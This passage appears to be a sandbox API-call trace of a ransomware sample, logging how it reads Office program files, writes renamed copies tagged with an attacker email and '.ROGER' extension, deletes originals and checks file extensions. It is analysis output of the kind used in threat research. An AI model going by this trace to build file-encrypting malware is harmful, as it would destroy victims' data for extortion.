dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0051.587] GetLastError () returned 0x0 [0051.587] ReadFile (in: hFile=0x3ac, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0051.608] WriteFile (in: hFile=0x350, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0051.906] ReadFile (in: hFile=0x3ac, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x50588, lpOverlapped=0x0) returned 1 [0051.918] WriteFile (in: hFile=0x350, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x50590, lpOverlapped=0x0) returned 1 [0051.927] ReadFile (in: hFile=0x3ac, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0051.927] WriteFile (in: hFile=0x350, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.927] SetEndOfFile (hFile=0x350) returned 1 [0051.928] CloseHandle (hObject=0x350) returned 1 [0051.928] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0051.928] SetEndOfFile (hFile=0x3ac) returned 1 [0051.931] CloseHandle (hObject=0x3ac) returned 1 [0051.931] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0051.931] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0051.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.932] lstrlenW (lpString=".doc") returned 4 [0051.932] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0051.932] lstrlenW (lpString=".docx") returned 5 [0051.932] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0051.932] lstrlenW (lpString=".pdf") returned 4 [0051.932] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0051.932] lstrlenW (lpString=".xls") returned 4 [0051.932] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0051.932] lstrlenW (lpString=".xlsx") returned 5 [0051.932] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0051.932] lstrlenW (lpString=".ppt") returned 4 [0051.932] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0051.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.932] lstrlenW (lpString=".zip") returned 4 [0051.932] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0051.932] lstrlenW (lpString=".rar") returned 4 [0051.932] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0051.932] lstrlenW (lpString=".bz2") returned 4 [0051.932] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0051.932] lstrlenW (lpString=".7z") returned 3 [0051.932] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0051.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.932] lstrlenW (lpString=".dbf") returned 4 [0051.932] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0051.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.932] lstrlenW (lpString=".1cd") returned 4 [0051.932] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0051.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.932] lstrlenW (lpString=".jpg") returned 4 [0051.932] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0051.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.933] lstrlenW (lpString=".doc") returned 4 [0051.933] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0051.933] lstrlenW (lpString=".docx") returned 5 [0051.933] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0051.933] lstrlenW (lpString=".pdf") returned 4 [0051.933] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0051.933] lstrlenW (lpString=".xls") returned 4 [0051.933] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0051.933] lstrlenW (lpString=".xlsx") returned 5 [0051.933] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0051.933] lstrlenW (lpString=".ppt") returned 4 [0051.933] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0051.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.933] lstrlenW (lpString=".zip") returned 4 [0051.933] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0051.933] lstrlenW (lpString=".rar") returned 4 [0051.933] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0051.933] lstrlenW (lpString=".bz2") returned 4 [0051.933] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0051.933] lstrlenW (lpString=".7z") returned 3 [0051.933] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0051.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.933] lstrlenW (lpString=".dbf") returned 4 [0051.933] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0051.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.933] lstrlenW (lpString=".1cd") returned 4 [0051.933] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0051.933] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0051.934] lstrlenW (lpString=".jpg") returned 4 [0051.934] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0051.934] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0051.934] lstrlenW (lpString="PidGenX.dll") returned 11 [0051.934] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0052.027] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=1463568) returned 1 [0052.033] CloseHandle (hObject=0x3a0) returned 1 [0052.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0052.034] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.034] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0052.034] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.034] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.034] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0052.034] GetLastError () returned 0x0 [0052.034] ReadFile (in: hFile=0x3a0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0052.267] WriteFile (in: hFile=0x340, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0052.290] ReadFile (in: hFile=0x3a0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x65520, lpOverlapped=0x0) returned 1 [0052.492] WriteFile (in: hFile=0x340, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0052.501] ReadFile (in: hFile=0x3a0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0052.501] WriteFile (in: hFile=0x340, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.502] SetEndOfFile (hFile=0x340) returned 1 [0052.502] CloseHandle (hObject=0x340) returned 1 [0052.502] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.502] SetEndOfFile (hFile=0x3a0) returned 1 [0052.506] CloseHandle (hObject=0x3a0) returned 1 [0052.506] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0052.506] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0052.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.506] lstrlenW (lpString=".doc") returned 4 [0052.506] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.506] lstrlenW (lpString=".docx") returned 5 [0052.506] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0052.506] lstrlenW (lpString=".pdf") returned 4 [0052.506] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.506] lstrlenW (lpString=".xls") returned 4 [0052.506] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.507] lstrlenW (lpString=".xlsx") returned 5 [0052.507] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0052.507] lstrlenW (lpString=".ppt") returned 4 [0052.507] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.507] lstrlenW (lpString=".zip") returned 4 [0052.507] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.507] lstrlenW (lpString=".rar") returned 4 [0052.507] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.507] lstrlenW (lpString=".bz2") returned 4 [0052.507] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.507] lstrlenW (lpString=".7z") returned 3 [0052.507] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.507] lstrlenW (lpString=".dbf") returned 4 [0052.507] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.507] lstrlenW (lpString=".1cd") returned 4 [0052.507] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.507] lstrlenW (lpString=".jpg") returned 4 [0052.507] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.507] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.507] lstrlenW (lpString=".doc") returned 4 [0052.507] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0052.507] lstrlenW (lpString=".docx") returned 5 [0052.507] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0052.507] lstrlenW (lpString=".pdf") returned 4 [0052.507] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0052.507] lstrlenW (lpString=".xls") returned 4 [0052.508] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0052.508] lstrlenW (lpString=".xlsx") returned 5 [0052.508] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0052.508] lstrlenW (lpString=".ppt") returned 4 [0052.508] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0052.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.508] lstrlenW (lpString=".zip") returned 4 [0052.508] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0052.508] lstrlenW (lpString=".rar") returned 4 [0052.508] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0052.508] lstrlenW (lpString=".bz2") returned 4 [0052.508] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.508] lstrlenW (lpString=".7z") returned 3 [0052.508] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.508] lstrlenW (lpString=".dbf") returned 4 [0052.508] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0052.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.508] lstrlenW (lpString=".1cd") returned 4 [0052.508] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.508] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0052.508] lstrlenW (lpString=".jpg") returned 4 [0052.508] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0052.508] lstrcmpiW (lpString1=".EXE", lpString2=".ROGER") returned -1 [0052.508] lstrlenW (lpString="DW20.EXE") returned 8 [0052.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.849] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=994184) returned 1 [0052.849] CloseHandle (hObject=0x36c) returned 1 [0052.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0052.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0052.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.849] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.849] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0052.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0053.073] GetLastError () returned 0x0 [0053.073] ReadFile (in: hFile=0x36c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0053.091] WriteFile (in: hFile=0x3a0, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0053.973] ReadFile (in: hFile=0x36c, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0053.973] WriteFile (in: hFile=0x3a0, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0053.974] SetEndOfFile (hFile=0x3a0) returned 1 [0053.974] CloseHandle (hObject=0x3a0) returned 1 [0053.974] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.974] SetEndOfFile (hFile=0x36c) returned 1 [0053.982] CloseHandle (hObject=0x36c) returned 1 [0053.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0053.982] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0053.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.983] lstrlenW (lpString=".doc") returned 4 [0053.983] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0053.983] lstrlenW (lpString=".docx") returned 5 [0053.983] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0053.983] lstrlenW (lpString=".pdf") returned 4 [0053.983] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0053.983] lstrlenW (lpString=".xls") returned 4 [0053.983] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0053.983] lstrlenW (lpString=".xlsx") returned 5 [0053.983] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0053.983] lstrlenW (lpString=".ppt") returned 4 [0053.983] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0053.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.983] lstrlenW (lpString=".zip") returned 4 [0053.983] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0053.983] lstrlenW (lpString=".rar") returned 4 [0053.983] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0053.983] lstrlenW (lpString=".bz2") returned 4 [0053.983] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0053.983] lstrlenW (lpString=".7z") returned 3 [0053.983] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0053.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.983] lstrlenW (lpString=".dbf") returned 4 [0053.983] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0053.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.983] lstrlenW (lpString=".1cd") returned 4 [0053.983] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0053.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.983] lstrlenW (lpString=".jpg") returned 4 [0053.983] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0053.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.984] lstrlenW (lpString=".doc") returned 4 [0053.984] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0053.984] lstrlenW (lpString=".docx") returned 5 [0053.984] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0053.984] lstrlenW (lpString=".pdf") returned 4 [0053.984] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0053.984] lstrlenW (lpString=".xls") returned 4 [0053.984] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0053.984] lstrlenW (lpString=".xlsx") returned 5 [0053.984] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0053.984] lstrlenW (lpString=".ppt") returned 4 [0053.984] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0053.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.984] lstrlenW (lpString=".zip") returned 4 [0053.984] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0053.984] lstrlenW (lpString=".rar") returned 4 [0053.984] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0053.984] lstrlenW (lpString=".bz2") returned 4 [0053.984] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0053.984] lstrlenW (lpString=".7z") returned 3 [0053.984] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0053.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.984] lstrlenW (lpString=".dbf") returned 4 [0053.984] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0053.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.984] lstrlenW (lpString=".1cd") returned 4 [0053.984] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0053.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0053.984] lstrlenW (lpString=".jpg") returned 4 [0053.985] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0053.985] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0053.985] lstrlenW (lpString="offfiltx.dll") returned 12 [0053.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0054.289] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=1486736) returned 1 [0054.289] CloseHandle (hObject=0x3f0) returned 1 [0054.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll")) returned 0x20 [0054.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0054.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0054.289] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 